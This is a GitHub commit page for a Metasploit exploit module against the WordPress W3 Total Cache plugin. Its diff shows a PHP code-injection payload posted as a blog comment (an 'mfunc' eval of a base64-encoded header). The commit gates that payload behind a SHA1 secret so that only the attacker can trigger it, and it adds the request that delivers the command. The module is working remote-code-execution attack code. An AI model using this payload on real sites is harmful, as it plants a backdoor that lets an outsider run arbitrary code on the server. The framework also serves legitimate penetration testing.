Skip to content

Commit fca4c3b

Browse files
author
jvazquez-r7
committed
Add sha1 sum check to allow execution
1 parent d2e29b8 commit fca4c3b

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/exploits/unix/webapp/php_wordpress_total_cache.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,8 @@ def initialize(info = {})
2727
'Author' =>
2828
[
2929
'Unknown', # Vulnerability discovery
30-
'juan vazquez' # Metasploit module
30+
'juan vazquez', # Metasploit module
31+
'Christian Mehlmauer' # Metasploit module
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
@@ -102,7 +103,7 @@ def login
102103
end
103104

104105
def post_comment
105-
php_payload = "<!--mfunc eval(base64_decode($_SERVER[HTTP_CMD])); --><!--/mfunc-->"
106+
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
106107

107108
vars_post = {
108109
'comment' => php_payload,
@@ -148,6 +149,9 @@ def exploit
148149
print_status("#{peer} - Trying unauthenticated exploitation...")
149150
end
150151

152+
random_test = rand_text_alpha(4096)
153+
@sum = Rex::Text.sha1(random_test)
154+
151155
print_status("#{peer} - Injecting the PHP Code throw a comment...")
152156
post_uri = post_comment
153157
if post_uri.nil?
@@ -159,7 +163,8 @@ def exploit
159163
'method' => 'GET',
160164
'uri' => post_uri,
161165
'headers' => {
162-
'Cmd' => Rex::Text.encode_base64(payload.encoded)
166+
'Cmd' => Rex::Text.encode_base64(payload.encoded),
167+
'Sum' => random_test
163168
}
164169
}
165170
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth

0 commit comments

Comments
 (0)